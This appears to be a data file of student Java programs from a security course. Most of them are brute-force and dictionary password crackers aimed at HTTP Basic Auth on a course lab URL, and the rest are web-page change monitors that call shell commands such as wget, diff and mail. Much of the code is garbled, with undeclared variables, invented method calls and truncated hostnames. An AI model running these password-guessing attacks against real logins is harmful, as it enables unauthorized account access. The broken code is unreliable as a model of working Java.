           Process p = Runtime.getRuntime().exec(""mv index.html.1 index.html"");
           Thread.sleep(1000);
        }
        catch (IOException e)
        {
                  e.printStackTrace();
                  System.exit(-1);
        }
        catch (InterruptedException oie)
        {
                ioe.printStackTrace();
                System.exit(-1);
        }
        catch (Exception exp)
        {
                exp.printStackTrace();
                System.exit(-1);
        }
    }





    private void mailFileChanges(String userid)
    {
         try
         {
           Process p = Runtime.getRuntime().exec(new String[] {""//sh"", ""-c"", ""diff index.html index.html.1 | mail "" + userid + ""@cs.rmit.edu.""});
           Thread.sleep(1000);
         }
         catch (IOException e)
         {
                  e.printStackTrace();
                  System.exit(-1);
         }
         catch (InterruptedException ioe)
         {
                ioe.printStackTrace();
                System.exit(-1);
         }
         catch (Exception exp)
         {
                exp.printStackTrace();
                System.exit(-1);
         }
    }





    private boolean isFileChanged()
    {
         try
         {
           FileInputStream fIn = new FileInputStream (""diff.txt"");
           DataInputStream di = new DataInputStream (fIn);

            Thread.sleep(1000);

           if( di!= null)
           {
              String str = di.readLine();

              if(str!=null)
                  return true;
              else
                  return false;
           }

         }
         catch (FileNotFoundException fe)
         {
                fe.printStackTrace();
                System.exit(-1);
         }
         catch (IOException e)
         {
                  e.printStackTrace();
                  System.exit(-1);
         }
         catch (InterruptedException ioe)
         {
                ioe.printStackTrace();
                System.exit(-1);
         }
         catch (Exception exp)
         {
                exp.printStackTrace();
                System.exit(-1);
         }
      return false;
    }
}







"
125.java,"import java.net.*;
import java.io.*;

public  class BruteForce
{
	public BruteForce(String u,String uname) throws Exception
	{
		String pass="""";
		try
		{
			String []chr={""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"",""i"",""j"",
					""k"",""l"",""m"",""n"",""o"",""p"",""q"",""r"",""s"",""t"",
					""u"",""v"",""w"",""x"",""y"",""z"",""A"",""B"",""C"",""D"",
					""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"",
					""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z""};
			URL url=new URL(u);
			PasswordAuthentication pa;
			MyAuthenticator =new MyAuthenticator();
			HttpURLConnection h;
			int c=0;
			for(int i=1;i<=52;i++)
			{
				c++;
				pass=""""+chr[i-1];
				pa=new PasswordAuthentication(uname,pass.toCharArray());
				h.setPasswordAuthentication(pa);
				Authenticator.setDefault();
				h=(HttpURLConnection)url.openConnection();
				h.setRequestProperty(""user-pass"",URLEncoder.encode("":""+pass));
System.out.println(""Try :""+chr(c)+""      password:(""+pass+"") response message: (""+h.getResponseMessage()+"")"");
				if(h.getResponseCode() != 401)
					throw new NullPointerException();
				h.disconnect();
			}
			for(int i=52;i>=1;i--)
			{
				for(int j=1;j<=52;j++)
				{
					c++;
					pass=chr[i-1]+""""+chr[j-1];
					pa=new PasswordAuthentication("""",pass.toCharArray());
					h.setPasswordAuthentication(pa);
					Authenticator.setDefault();
					h=(HttpURLConnection)url.openConnection();
					h.setRequestProperty(""user-pass"",URLEncoder.encode("":""+pass));
System.out.println(""Try :""+(c)+""      password:(""+pass+"") response message: (""+h.getResponseMessage()+"")"");
					if(h.getResponseCode() != 401)
						throw new NullPointerException();
					h.disconnect();
				}
			}
			for(int i=52;i>0;i--)
			{
				for(int j=0;j<26;j++)
				{
					for(int k=1;k<=52;k++)
					{
					c++;
					pass=chr[i-1]+""""+chr[25-j]+""""+chr[k-1];
					pa=new PasswordAuthentication("""",pass.toCharArray());
					h.setPasswordAuthentication(pa);
					Authenticator.setDefault();
					h=(HttpURLConnection)url.openConnection();
					h.setRequestProperty(""user-pass"",URLEncoder.encode("":""+pass));
System.out.println(""Try :""+(c)+""      password:(""+pass+"") response message: (""+h.getResponseMessage()+"")"");
					if(h.getResponseCode() != 401)
						throw new NullPointerException();
					h.disconnect();

					pass=chr[i-1]+""""+chr[51-j]+""""+chr[k-1];
					pa=new PasswordAuthentication("""",pass.toCharArray());
					h.setPasswordAuthentication(pa);
					Authenticator.setDefault();
					h=(HttpURLConnection)url.openConnection();
					h.setRequestProperty(""user-pass"",URLEncoder.encode("":""+pass));
System.out.println(""Try :""+(c)+""      password:(""+pass+"") response message: (""+h.getResponseMessage()+"")"");
					if(h.getResponseCode() != 401)
						throw new NullPointerException();
					h.disconnect();

					}
				}
			}
		}
		catch(NullPointerException great)
		{
			System.out.println(""\n\n The password is cracked.\n The password is : ""+pass);
		}
		catch(MalformedURLException mfe)
		{
			System.out.println(""The URL :""+u+"" is not a proper URL."");
		}
		catch(Exception e)
		{
			e.printStackTrace();
		}
	}
	public static void main(String[] args)  throws Exception
	{
		if(args.length!=2)
			System.out.println(""Usage :\n java BruteForce <url> <user-name>"");
		else
		{
			System.out.println(""Starting the BruteForce Attack : ""+args[0]);
			new BruteForce(args[0],args[1]);
		}
	}
}

"
087.java,"import java.net.*;
import java.io.*;
import java.*;

 public class Dictionary {

   URLConnection conn = null;
   private static boolean status = false;

   public static void main (String args[]){
     Dictionary a = new Dictionary();
     String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
     				 """",
     				 """"};
     File file = new File(""words"");
     exit:
     try {
		 BufferedReader in = new BufferedReader(new FileReader(file));
		 int attempt = 0;
		 inp[2] = in.readLine();
		 while (inp[2] != null) {
	
			 if (inp[2].length() <= 3) {
			 	attempt++;
			 	a.doit(inp);
     		 	if (status) {
			 		 System.out.println(""Crrect password is: "" + inp[2]);
			 		 System.out.println(""Number of attempts = "" + attempt);
			 		 break exit;
			 	}
		 	 }
			 inp[2] = in.readLine();
   		}
	 } catch (FileNotFoundException e1) {
		 
		System.err.println(""File not found: "" + file);
	} catch (IOException e2) {
		
		e2.printStackTrace();
	}

   }

   public void doit(String args[]) {
     
     try {
       BufferedReader in = new BufferedReader(
           new InputStreamReader
              (connectURL(new URL(args[0]), args[1], args[2])));
       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           status = true;
           }
       }
     catch (IOException e) {
   
       }
     }

   public InputStream connectURL (URL url, String uname, String pword)
        throws IOException  {
     conn = url.openConnection();
     conn.setRequestProperty (""Authorization"",
     userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }

   public String userNamePasswordBase64(String username, String password) {
     return "" "" + base64Encode (username + "":"" + password);
     }

   private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

   private static String base64Encode (String string)    {
     String encodedString = """";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
        case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
        case 1:
          encodedString += base64Array [c3];
          encodedString += ""="";
          break;
        case 2:
          encodedString += ""=="";
          break;
        }
       }
       return encodedString;
   }
 }

"
186.java,"



import java.io.*;
import java.text.MessageFormat;
import java.util.ResourceBundle;
import java.util.Locale;


public class MyBase64 {


	private static final int END_OF_INPUT = -1;

	private static final int NON_BASE_64 = -1;

	private static final int NON_BASE_64_WHITESPACE = -2;

	private static final int NON_BASE_64_PADDING = -3;

	public MyBase64(){
	}

	
	protected static final byte[] base64Chars = {
		'A','B','C','D','E','F','G','H',
		'I','J','K','L','M','N','O','P',
		'Q','R','S','T','U','V','W','X',
		'Y','Z','a','b','c','d','e','f',
		'g','h','i','j','k','l','m','n',
		'o','p','q','r','s','t','u','v',
		'w','x','y','z','0','1','2','3',
		'4','5','6','7','8','9','+','/',
	};

	
	protected static final byte[] reverseBase64Chars = new byte[0x100];
	static {
		
		for (int i=0; i<reverseBase64Chars.length; i++){
			reverseBase64Chars[i] = NON_BASE_64;
		}
		
		
		for (byte i=0; i < base64Chars.length; i++){
			reverseBase64Chars[base64Chars[i]] = i;
		}
		reverseBase64Chars[' '] = NON_BASE_64_WHITESPACE;
		reverseBase64Chars['\n'] = NON_BASE_64_WHITESPACE;
		reverseBase64Chars['\r'] = NON_BASE_64_WHITESPACE;
		reverseBase64Chars['\t'] = NON_BASE_64_WHITESPACE;
		reverseBase64Chars['\f'] = NON_BASE_64_WHITESPACE;
		reverseBase64Chars['='] = NON_BASE_64_PADDING;
	}

	
	public static final String version = ""1.2"";



	
	public static String encode(String string){
		return new String(encode(string.getBytes()));
	}

	
	public static String encode(String string, String enc) throws UnsupportedEncodingException {
		return new String(encode(string.getBytes(enc)), enc);
	}

	
	public static byte[] encode(byte[] bytes){
		ByteArrayInputStream in = new ByteArrayInputStream(bytes);
		
		
		
		
		
		int mod;
		int length = bytes.length;
		if ((mod = length % 3) != 0){
			length += 3 - mod;
		}
		length = length * 4 / 3;
		ByteArrayOutputStream out = new ByteArrayOutputStream(length);
		try {
			encode(in, out, false);
		} catch (IOException x){
			
			
			
			throw new RuntimeException(x);
		}
		return out.toByteArray();
	}

	
	public static void encode(File fIn) throws IOException {
		
	}

	
	public static void encode(File fIn, boolean lineBreaks) throws IOException {
		
	}

	
	public static void encode(File fIn, File fOut) throws IOException {
		
	}


	
	public static void encode(InputStream in, OutputStream out) throws IOException {
		encode(in, out, true);
	}

	
	public static void encode(InputStream in, OutputStream out, boolean lineBreaks) throws IOException {
		
		
		int[] inBuffer = new int[3];
		int lineCount = 0;

		boolean cond = false;
		while (!cond && (inBuffer[0] = in.read()) != END_OF_INPUT){
			
			inBuffer[1] = in.read();
			inBuffer[2] = in.read();

			
			
			
			
			
			
			
			
			
			

			
			out.write(base64Chars[ inBuffer[0] >> 2 ]);
			if (inBuffer[1] != END_OF_INPUT){
				
				out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]);
				if (inBuffer[2] != END_OF_INPUT){
					
					out.write(base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]);
					
					out.write(base64Chars [inBuffer[2] & 0x3F]);
				} else {
					
					out.write(base64Chars [((inBuffer[1] << 2) & 0x3c)]);
					
					out.write('=');
					cond = true;
				}
			} else {
				
				out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30)]);
				
				out.write('=');
				out.write('=');
				cond = true;
			}
			lineCount += 4;
			if (lineBreaks && lineCount >= 76){
				out.write('\n');
				lineCount = 0;
			}
		}
		if (lineBreaks && lineCount >= 1){
			out.write('\n');
			lineCount = 0;
		}
		out.flush();
	}


	
	public static boolean isBase64(byte[] bytes){
		try {
			return isBase64(new ByteArrayInputStream(bytes));
		} catch (IOException x){
			
			
			
			return false;
		}
	}

	
	public static boolean isBase64(String string){
		return isBase64(string.getBytes());
	}

	
	public static boolean isBase64(String string, String enc) throws UnsupportedEncodingException {
		return isBase64(string.getBytes(enc));
	}


	
	public static boolean isBase64(InputStream in) throws IOException {
		 numBase64Chars = 0;
		int numPadding = 0;
		int num;

		while (( num = in.read()) != -1){
			num = reverseBase64Chars[3];
			if ( num == NON_BASE_64){
				return false;
			} else if (num == NON_BASE_64_WHITESPACE){
			} else if (num == NON_BASE_64_PADDING){
				numPadding++;
				numBase64Chars++;
			} else if (numPadding > 0){
				return false;
			} else {
				numBase64Chars++;
			}
		}
		if (numBase64Chars == 0) return false;
		if (numBase64Chars % 4 != 0) return false;
		return true;
	}
}
"
143.java,"

import java.net.*;
import java.io.*;
import java.util.*;

public class BruteForce{

  private static URL location;
  private static String user;
  private BufferedReader input;
  private char [] password = {'A', 'A', 'A'};
  private int noLetters = 3;

  

    public BruteForce() {
      
      Authenticator.setDefault(new MyAuthenticator ());

       startTime = System.currentTimeMillis();
      boolean passwordMatched = false;
      while (!passwordMatched) {
        try {
          input = new BufferedReader(new InputStreamReader(location.openStream()));
          String line = input.readLine();
          while (line != null) {
            System.out.println(line);
            line = input.readLine();
          }
          input.close();
          passwordMatched = true;
        }
        catch (ProtocolException e)
        {
          
          
        }
        catch (ConnectException e) {
          System.out.println(""Failed  connect"");
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }
       endTime = System.currentTimeMillis();
      System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime)));
    }

    

    private char[] nextPassword() {

      char [] currentPassword = new char[noLetters];
      for (int i=0; i<noLetters; i++) {
        currentPassword[i] = password[i];
      }

      boolean loop = true;
      int i = noLetters - 1;

      while (loop ) {
        password[i]++;
        loop = false;
        if (password[i] > 'Z' && password[i] < 'a') {
          password[i] = 'a';
        }
        else if (password[i] > 'z') {
          if (noLetters == 1 && i == 0) {
            System.out.println(""Password not found"");
            System.exit(-1);
          }
          password[i] = 'A';
          i--;
          loop = true;
          if (i<0) {
            noLetters--;
            for (int j=0; j <noLetters; j++) {
              password[j] = 'A';
              loop = false;
            }
          }
        }
      }

      return currentPassword;
    }


    

    public static void main(String args[]) {
      if (args.length != 2) {
        System.out.println(""Usage: java BruteForce url user"");
        System.exit(-1);
      }
      try {
        location = new URL(args[0]);
      }
      catch (MalformedURLException e) {
        e.printStackTrace();
      }
      user = new String().concat(args[1]);
      new BruteForce();
    }

    

    class MyAuthenticator extends Authenticator {
      protected PasswordAuthentication getPasswordAuthentication() {
        char [] currentPassword = nextPassword();
        System.out.print(user.concat(""-""));
        System.out.println(currentPassword);
        return new PasswordAuthentication (user, currentPassword);
      }
    }
}
"
005.java,"


import java.io.*;
import java.util.*;
import java.*;
import java.net.*;

public class WatchDog
{

   static Process p = null;
   static Process qproc = null;

   static BufferedReader bf = null;
   static StringTokenizer tok = null;

   static String Path = null;
   static String str = null;
   static String urlStr=null;
   static boolean changed = false;

   static File indexfile = new File(""index.html"");
   static File tmpfile = new File(""tmpindex.html"");
   static File mdfile = new File(""md5file.txt"");
   static File tmpmdfile = new File(""tmpmd5file.txt"");
   static PrintWriter mailwriter = null;


   public static void main(String[] args) 
   {

      urlStr = ""http://www.cs.rmit.edu./"";

      try
      {
         
         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false)));

         getLatest(urlStr);
         parseFile(); 

         mailwriter.read();

         if(changed)
         {
            System.out.println(""Sending Mail"");
            p = Runtime.getRuntime().exec(""./mailscript"");
            p.waitFor();

         }
         else
            System.out.println("" mail sent"");

      }  catch (IOException ioe)
         {
            System.out.println(""IOException"");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println(""Interrupted Exception"");
            intex.printStackTrace();
         }


   }


   static void getLatest(String urlStr)
   { 
      
      URL url = null;
      
      try
      {
         url = new URL(urlStr);

      } catch (MalformedURLException mfurl)
        {
           System.out.println(""Malformed URL"");
           mfurl.printStackTrace();
        }

      try
      {
         mailwriter.println();

         p = Runtime.getRuntime().exec(""/usr//pwd""); 
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         Path=bf.readLine();

         if (indexfile.exists())
         {
            mailwriter.println(""File with name 'index.html' found in directory."");
            mailwriter.println(""Renaming existing 'index.html'  'tmpindex.html..."");
            p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile);
            p.waitFor();
            p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile);
            mailwriter.println();
            mailwriter.println(""File with name 'md5file.txt' found in directory."");
            mailwriter.print(""Renaming existing 'md5file.txt'  'tmpmd5file.txt..."");

            mailwriter.println(""."");

            mailwriter.println();
         }

         mailwriter.println(""Downloading current version of site - "" + urlStr);
         p = Runtime.getRuntime().exec(""/usr/local//wget ""+url);
         p.waitFor();
         if (!tmpfile.exists())
         {
            mailwriter.println(""File - "" + urlStr + ""index.html saved  disk for the first time."");
         }


      } catch (IOException ioe)
        {
           System.out.println(""IOException"");
           ioe.printStackTrace();
        }
        catch (IndexOutOfBoundsException iobe)
        {
           System.out.println(""Index Out Of Bounds Exception"");
           iobe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println(""Exception"");
           e.printStackTrace();
        }
   }

   static void parseFile()
   {

      Vector imgVect = new Vector();

      try
      {
         p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile);
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         while((str=bf.readLine())!=null)
         {
            bf = new StringTokenizer(str, ""\"""", false);
          
            while(bf.hasMoreTokens())
            {
               str=bf.nextToken();
               if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
                  imgVect.addElement(str);
            }
           
         }

      }catch (IOException ioe)
        {
           System.out.println(""IOException"");
           ioe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println(""Exception"");
           e.printStackTrace();
        }

        mailwriter.println(""Creating file with md5sums of the webpage and images..."");
        md5Create(imgVect);

   }

   static void md5Create(Vector imgVect)
   {
      String tmpString = null;
      Vector imgNames = new Vector();

      try
      {
         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
 
         p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile);
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
         pr.println(bf.readLine());
   
         for(int i=0; i<imgVect.size();i++)
         {
            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);

            p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+(String)imgNames.elementAt(i));
            p.waitFor();
            bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
            pr.println(bf.readLine());
            rmImgFile(Path+""/""+(String)imgNames.elementAt(i));
         }
         pr.get();

      }  catch (IOException ioe)
         {
            System.out.println(""IOException"");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println(""Interrupted Exception"");
            intex.printStackTrace();
         }

      if (tmpmdfile.exists())
         compVersions((imgVect.size())+1);

   }

   static void compVersions(int numlines)
   {

      int tmp = 0;
      int x = 0;
      String[] md5A = new String[numlines];
      Vector tmpmd5V = new Vector(); 
                                     
                                     
      String[] tmpmd5A = null;
      StringTokenizer stoken  = null;
      String mdImgName = null;
      String mdImgVal = null;
      String tmpImgName = null;
      String tmpImgVal = null;

      try
      {

         bf = new BufferedReader(new FileReader(mdfile));

         while((str = bf.readLine()) != null)
         {
            md5A[tmp]=str;
            tmp++;
         }

          bf= new BufferedReader(new FileReader(tmpmdfile));
         tmp=0;

         while ((str = bf.readLine()) !=null)
         {
            tmpmd5V.addElement(str);
            tmp++;
         }

         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   

         if (tmpmd5A[0].compareTo(md5A[0]) != 0)
         {
            mailwriter.println(""---The file index.html has changed.---"");
            mailwriter.println(""-Diff of old and new -"");
            changed=true;
            mailwriter.println();
            p=Runtime.getRuntime().exec(""/usr/local//diff index.html tmpindex.html"");
            p.waitFor();
            bf = new BufferedReader(new InputStreamReader(p.getInputStream()));

            while ((str = bf.readLine()) != null)
               mailwriter.println(str);

         }
         else
         {
            mailwriter.println(""The file index.html hasn't changed."");
            mailwriter.println();
         }

         mailwriter.println();
         mailwriter.println(""Changes  Images"");
         mailwriter.println(""-----------------"");


         

         for (tmp=1; tmp<md5A.length; tmp++) 
         {
            stoken = new StringTokenizer(md5A[tmp]);
            mdImgVal = stoken.nextToken();
            mdImgName = stoken.nextToken();
            for (x=1; x<tmpmd5A.length; x++)
            {
               stoken = new StringTokenizer(tmpmd5A[x]);
               tmpImgVal = stoken.nextToken();
               tmpImgName = stoken.nextToken();

               if (mdImgName.compareTo(tmpImgName) == 0)
               {
                  if(mdImgVal.compareTo(tmpImgVal) == 0)
                  {
                     
                     break;
                  }
                  else
                  {
                     mailwriter.println(""The image ""+mdImgName+"" has changed."");
                     changed=true;
                     break;
                  }
               }
               if (x == ((tmpmd5A.length)-1))
               {
                  mailwriter.println(""The image ""+mdImgName+"" is  new  this "");
                  changed=true;
               }
            }
         }

         for (tmp=1; tmp<tmpmd5A.length; tmp++) 
         {
            stoken = new StringTokenizer(tmpmd5A[tmp]);
            tmpImgVal = stoken.nextToken();
            tmpImgName = stoken.nextToken();
            for (x=1; x<md5A.length; x++)
            {
               stoken = new StringTokenizer(md5A[x]);
               mdImgVal = stoken.nextToken();
               mdImgName = stoken.nextToken();
               if (tmpImgName.compareTo(mdImgName) == 0)
               {
                  break;
               }
               if (x == ((md5A.length)-1))
               {
                  mailwriter.println(""The image ""+tmpImgName+"" is   longer  the "");
                  changed=true;
               }
            }
         }


      } catch(IOException ioe)
         {System.out.println(""IOException"");
          ioe.printStackTrace();
         }
        catch(InterruptedException iex)
         {System.out.println(""Interrupted Exception"");
         iex.printStackTrace();
         }

   }


   static Object getFullPath(String fname)
   {
      

      if(fname.charAt(0)== '/') 
         fname=urlStr+fname;  
      else if(fname.charAt(0) != 'h')
         fname=urlStr+'/'+fname;

      getImgFile(fname);

      return (Object)fname; 
   }

   static void getImgFile(String fullPath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec(""/usr/local//wget ""+fullPath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println(""IOException"");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println(""Interrupted Exception"");
           intex.printStackTrace();
        }
   }

   static void rmImgFile(String delpath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec(""/usr//rm ""+ delpath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println(""IOException"");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println(""Interrupted Exception"");
           intex.printStackTrace();
        }
   
   }

   static Object getImgNames(String prsName)
   {
          
  
     String str = new StringTokenizer(prsName, ""/"", false);

      while(bgf.hasMoreTokens())
      {
         str=bgf.nextToken();
         if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
            prsName=str;
      }
      return (Object)prsName;
   }
}
"
255.java,"

import java.io.*;
import java.net.*;
import java.*;
import java.util.*;

public class WatchDog
{
 public static void main(String[] args)
 {
   new WatchDogThread(""1"");
 }
}"
249.java,"import java.net.*;
import java.io.*;

public class BruteForce
{

       public static void main  (String[] args)
       {

              String pwd = new String();
              String userpwd = new String();
              String reply = new String();
              int i,j,k;
              int startTime, endTime,totalTime;
              URLConnection connectionObj;
              startTime = System.currentTimeMillis();
              

         try {

         URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");




              for (i=1;i<=58;i++)
              {
                  if (i<=26 || i > 32)
                  {
                     
                     
                  }

                  for (j=1;j<=58;j++)
                  {
                      if ((j<=26 || j > 32) && (i <=26 || i>32))
                      {


                         
                         
                      }

                      for (k=1;k<=58;k++)
                      {
                          if ((k<=26 || k > 32) && (i <=26 || i>32) && (j <=26 || j>32))
                          {


                             pwd = """" + (char) (i + 64) + (char) (j + 64) + (char) (k + 64);

                             userpwd = url.encode("""",pwd);

                             connectionObj = urlObj.openConnection();

                             connectionObj.setRequestProperty(""Authorization"","" "" + userpwd);
                             connectionObj.connect();
                             reply = connectionObj.getHeaderField(0);

                             if (reply.compareTo(""HTTP/1.1 200 OK"")== 0)
                             {

                             endTime = System.currentTimeMillis();
                             totalTime= (endTime - startTime)/1000;
                             System.out.println(pwd);
                             System.out.println(""Total Time = "" + (totalTime) + ""seconds"");
                             System.exit(0);
                             }
                             
                          }

                      }

                  }
               }

        }

        catch (MalformedURLException err)
           {
           System.out.println(err);
           }
       catch (IOException err)
           {
           System.out.println(err);
           }

       }




}"
098.java,"

import java.net.*;
import java.io.*;

public class Dictionary{

       private String passwd = """";              
       private String command = """";             
       private String fname = ""/usr/share/lib/dict/words""; 
       private BufferedReader readin;          
       private BufferedReader in;              
       private PrintWriter  out;               

       private int startTime = 0;             
       private int endTime = 0;               
       private int totalTimes = 0;            
       
       private boolean bfind = false;
       
       public Dictionary(){}
       
       public void readPasswd(){
              startTime = System.currentTimeMillis();
              try{
                  readin = new BufferedReader(new FileReader(fname));
				  while ((passwd = readin.readLine()) !=null){
                   		 if(bfind)
                   		    break;
                         connection(passwd.trim());
				  }
				  readin.print();
			  }catch (FileNotFoundException e1){System.out.println(e1.getMessage());}
			   catch (IOException e2 ){System.out.println(e2.getMessage());}
	   }
       
       public void connection(String passwd){
              command = ""lynx -head -dump http://sec-crack.cs.rmit.edu./SEC/2/index.php -auth=:"";
              command = command + passwd;
              try{
                  System.out.println(passwd +""-->  Establishing a connection."");
                  Runtime runtime = Runtime.getRuntime();
                  Process p = runtime.exec(command);
                  in = new BufferedReader(new InputStreamReader(p.getInputStream()));
                  String inStr;
                  while((inStr = in.readLine())!= null){
                        if(inStr.indexOf(""HTTP/1.1 200"") != -1 || inStr.indexOf(""HTTP/1.0 200"") != -1||
                            inStr.indexOf(""HTTP/1.1 404"") != -1 || inStr.indexOf(""HTTP/1.0 404"") != -1){
                            endTime = System.currentTimeMillis();
                            totalTimes = endTime - startTime;
                            System.out.println(""\nDictionary Crack Passwd successful, PassWord is "" + passwd);
                            System.out.println(""Total Times is "" + totalTimes + "" milliSec"");
                            System.out.println(""Writing it  dictpswd.txt file\n"");
                            out = new PrintWriter(new BufferedWriter(new FileWriter(""dictpswd.txt"")));
                            out.println(""Dictionary Crack PassWord Successful! Total Times: "" + totalTimes + "" milliSec"");
                            out.println(""Passwd: ""+ passwd);
                            out.flush();
                            bfind = true;
                        }
                        out.print();
                  }
                  in.print();
              }catch(Exception e){System.out.println(e.getMessage());}
       }
       
       public String getAnyKey()throws Exception{
		      BufferedReader stdin =new BufferedReader(new InputStreamReader(System.in));
		      String key= stdin.readLine();
	          return key;
	   }
	   
       public static void main (String []args){

              Dictionary dc = new Dictionary();
              System.out.println(""\n*******************************************"");
              System.out.println(""*                                         *"");
              System.out.println(""*     Dictionary Crack Passwd Program     *"");
              System.out.println(""*    ---------------------------------    *"");
              System.out.println(""*          Author:              *"");
              System.out.println(""*                                         *"");
              System.out.println(""*******************************************"");
              System.out.println(""\n  Dictionary Crack Passwd Information: \n"");
              System.out.println(""--> UserName: "");
              System.out.println(""--> Passwd from the dictionary file: ""+ dc.fname);
              System.out.println(""--> URL: http://sec-crack.cs.rmit.edu./SEC/2/index.php\n"");
              System.out.println(""==> Press Ctrl+C  stop Crack\n"");
              System.out.print(""==> Press EnterKey  : "");
			  try{
                  String key = dc.getAnyKey();
              }catch(Exception e){System.out.println(e.getMessage());}
			  dc.readPasswd();
       }
}"
246.java,"



























import java.io.*;
import java.net.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.*;

public class Dictionary {

   public static void main(String[] args) throws IOException {

      
      int begin, end, total;
      time = System.currentTimeMillis(); 

      
      String username = """";
      String password = null;
      String host = ""http://sec-crack.cs.rmit.edu./SEC/2/"";

      
      String dict = ""words""; 
      File file = new File(dict);

      
      
      String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"";
      int lettersLen = letters.length(); 
      int passwordLen=3; 
      String character = """"; 
      String letter = """"; 

      int passwords=0; 
      int twoChar=0; 

      url.misc.BASE64Encoder base = new url.misc.BASE64Encoder();
      

      
      String authenticate = """"; 
      String realm = null, domain = null, hostname = null;
       header = null; 

      
      int responseCode;
      String responseMsg;

      
      boolean characterValid=false; 
      boolean passwordValid=true; 

      
      int tryLen=0;
      int i=0;

      if (!file.exists() || file==null) {
   	     

         System.out.println (""Idiot, why dont  check and make sure the dictonary file exists."");
		 System.out.println (""I'm trying  find "" + dict + "" and I 't find it in the current directory."");
         System.exit(0);
      }


      try {
         
         BufferedReader reader = new BufferedReader(new FileReader(file));

         System.out.println(""Dictionary Attack  "" + host + "" has commenced."");

         int i=1; 
         int k=1; 

          {
               
               URL url = new URL(host);
               HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();

               
               if(realm != null) {
                        String inLine = reader.readLine();

                        if ( inLine !=null) {
                           passwordValid = true; 

                           password = inLine;
                           tryLen = password.length();

                           if(tryLen <= passwordLen) {
                              
                              
                              

                              for (int z=0; z<tryLen; z++) {
                                 
                                 character = password.substring(z, (z+1));
                                 characterValid=false; 

                                 for (int y=0; y<lettersLen; y++) {
                                    
                                    letter = letters.substring(y, (y+1));

                                    if(letter.compareTo(character)==0) {
                                       
                                       characterValid=true;
                                    }
                                 }  

                                 if (characterValid==true && passwordValid==true) {
                                    
                                 } else {
                                    
                                    passwordValid = false;
                                 }
                              } 

                              if (passwordValid==true) {
                                 
                                 
                                 
                                 authenticate = username + "":"" + password;
                                 authenticate = new String(base.encode(authenticate.getBytes()));
                                 httpConnect.addRequestProperty(""Authorization"", "" "" + authenticate);
                                 k++; 
                              }
                           } 
                        }

                  i++; 

               } 

               
               httpConnect.connect();

               
               realm = httpConnect.getHeaderField(""WWW-Authenticate"");
               if (realm != null) {
                  realm = realm.substring(realm.indexOf('""') + 1);
                  realm = realm.substring(0, realm.indexOf('""'));
               }

               hostname = url.getHost();

               
               responseCode = httpConnect.getResponseCode();
